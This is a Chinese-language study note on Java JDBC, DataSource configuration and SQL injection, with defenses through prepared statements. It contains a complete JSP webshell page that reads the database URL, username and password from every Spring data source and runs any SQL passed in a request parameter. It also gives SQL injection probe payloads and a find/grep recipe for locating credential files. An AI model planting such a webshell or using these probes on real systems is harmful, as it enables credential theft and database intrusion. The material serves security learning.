[toc]

JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。

JDBC Connection

Java通过java.sql.DriverManager来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类,然后调用getConnection方法才能连接上数据库。

JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

JDBC连接数据库的一般步骤:

  • 注册驱动,Class.forName(“数据库驱动的类名”)。
  • 获取连接,DriverManager.getConnection(xxx)。

JDBC 连接示例代码:

  1. String URL = "jdbc:mysql://localhost:8890/mysql";
  2. String USERNAME = "root";
  3. String PASSWORD = "root";
  4. Class.forName(Class_Name); // 注册JDBC 类
  5. Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
  • 数据库配置

传统的Web应用的数据库配置信息一般都是存放在WEB-INF目录下的.properties、.yml、*.xml中的,如果是Spring Boot项目的话一般都会存储在jar包中的src/main/resources/目录下。常见的存储数据库配置信息的文件路径如:WEB-INF/applicationContext.xml、WEB-INF/hibernate.cfg.xml、WEB-INF/jdbc/jdbc.properties,一般情况下使用find命令加关键字可以轻松的找出来,如查找Mysql配置信息: find 路径 -type f |xargs grep “com.mysql.jdbc.Driver”。

JDBC - 图1

JDBC - 图2

javasec.org 给出了几个问题:

  1. SPI机制是否有安全性问题?
  2. Java反射有那些安全问题?
  3. Java类加载机制是什么?
  4. 数据库连接时密码安全问题?
  5. 使用JDBC如何写一个通用的数据库密码爆破模块?

DataSource

在真实的Java项目中通常不会使用原生的JDBC的DriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。

常见的数据源有:DBCP、C3P0、Druid、Mybatis DataSource,他们都实现于javax.sql.DataSource接口。

Spring MVC 数据源

JDBC - 图3

<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
  <property name="dataSource" ref="dataSource"/>
</bean>

SpringBoot配置数据源:

在SpringBoot中只需要在application.properties或application.yml中定义spring.datasource.xxx即可完成DataSource配置。

spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源 Hack

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。

spring-datasource.jsp获取数据源/执行SQL语句示例


<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
    // C3PO数据源类
    private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";

    // DBCP数据源类
    private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";

    //Druid数据源类
    private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

    /**
     * 获取所有Spring管理的数据源
     * @param ctx Spring上下文
     * @return 数据源数组
     */
    List<DataSource> getDataSources(ApplicationContext ctx) {
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
        String[]         beanNames      = ctx.getBeanDefinitionNames();

        for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);

            if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

        return dataSourceList;
    }

    /**
     * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
     * @param ctx Spring上下文对象
     * @return 数据源配置字符串
     * @throws ClassNotFoundException 数据源类未找到异常
     * @throws NoSuchMethodException 反射调用时方法没找到异常
     * @throws InvocationTargetException 反射调用异常
     * @throws IllegalAccessException 反射调用时不正确的访问异常
     */
    String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        List<DataSource> dataSourceList = getDataSources(ctx);

        for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url       = null;
            String UserName  = null;
            String PassWord  = null;

            if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

            return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
        }

        return null;
    }
%>
<%
    String sql = request.getParameter("sql");// 定义需要执行的SQL语句

    // 获取Spring的ApplicationContext对象
    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());

    // 获取Spring中所有的数据源对象
    List<DataSource> dataSourceList = getDataSources(ctx);

    // 检查是否获取到了数据源
    if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
        return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ctx));
    out.println("<hr/>");

    // 定义需要查询的SQL语句
    sql = sql != null ? sql : "select version()";

    for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

        //从数据源中获取数据库连接对象
        Connection connection = dataSource.getConnection();

        // 创建预编译查询对象
        PreparedStatement pstt = connection.prepareStatement(sql);

        // 执行查询并获取查询结果对象
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");

        // 获取查询结果的元数据对象
        ResultSetMetaData metaData = rs.getMetaData();

        // 从元数据中获取字段信息
        for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
        }

        out.println("<tr/>");

        // 获取JDBC查询结果
        while (rs.next()) {
            out.println("<tr>");

            for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>

Java Web Server 数据源

除了第三方数据源库实现,标准的Web容器自身也提供了数据源服务,通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中,在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象

Tomcat JNDI DataSource
Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html

<Context>

  <Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
               maxTotal="100" maxIdle="30" maxWaitMillis="10000"
               username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
               url="jdbc:mysql://localhost:3306/mysql"/>

</Context>

Resin JNDI DataSource
Resin需要修改resin.xml,添加database配置,参考:Resin Database configuration
https://www.caucho.com/resin-4.0/admin/database.xtp

<database jndi-name='jdbc/test'>
  <driver type="com.mysql.jdbc.Driver">
    <url>jdbc:mysql://localhost:3306/mysql</url>
    <user>root</user>
    <password>root</password>
  </driver>
</database>

JDBC SQL Injection

SQL注入(SQL injection)是因为应用程序在执行SQL语句的时候没有正确的处理用户输入字符串,将用户输入的恶意字符串拼接到了SQL语句中执行,从而导致了SQL注入。

SQL注入是一种原理非常简单且危害程度极高的恶意攻击,我们可以理解为不同程序语言的注入方式是一样的。
这里只学习基于 JDBC 查询的SQL注入,因为javasec 上也是,基于ORM的SQL注入以后再学。我记得ORM框架,就是为了防止注入问题的。

JDBC SQL Injection Test

在SQL注入中如果需要我们手动闭合SQL语句'的注入类型称为字符型注入、反之成为整型注入

快速检测字符串类型注入方式
在渗透测试中我们判断字符型注入点最快速的方式就是在参数值中加’(单引号),如:http://localhost/1.jsp?id=1',如果页面返回500错误或者出现异常的情况下我们通常可以初步判定该参数可能存在注入。

快速检测整型注入方式
整型注入相比字符型更容易检测,使用参数值添加’(单引号)的方式或者使用运算符、数据库子查询、睡眠函数(一定慎用!如:sleep)等。

检测方式示例:

id=2-1
id=(2)
id=(select 2 from dual)
id=(select 2)

盲注时不要直接使用sleep(n)!例如: id=sleep(3)

对应的SQL语句select username from sys_user where id = sleep(3)

执行结果如下:

mysql> select username from sys_user where id= sleep(3);
Empty set (24.29 sec)

为什么只是sleep了3秒钟最终变成了24秒?因为sleep语句执行了select count(1) from sys_user遍!当前sys_user表因为有8条数据所以执行了8次。

如果非要使用sleep的方式可以使用子查询的方式代替:

id=2 union select 1, sleep(3)
查询结果如下:

mysql> select username,email from sys_user where id=1 union select 1, sleep(3);
+----------+-------------------+
| username | email             |
+----------+-------------------+
| yzmm     | admin@javaweb.org |
| 1        | 0                 |
+----------+-------------------+
2 rows in set (3.06 sec)

SQL Injection Defense

常规方法

  1. 转义用户请求的参数值中的’(单引号)、”(双引号)。
  2. 限制用户传入的数据类型,如预期传入的是数字,那么使用:Integer.parseInt()/Long.parseLong等转换成整型。
  3. 使用PreparedStatement对象提供的SQL语句预编译。

切记只过滤’(单引号)或”(双引号)并不能有效的防止整型注入,但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。

PreparedStatement SQL预编译查询

JDBC 预编译

数据库服务器端预编译

客户端预编译

MySQL 预编译

Mysql默认提供了预编译命令:prepare,使用prepare命令可以在Mysql数据库服务端实现预编译查询。

prepare查询示例:

prepare stmt from 'select host,user from mysql.user where user = ?';
set @username='root';
execute stmt using @username;

JDBC - 图4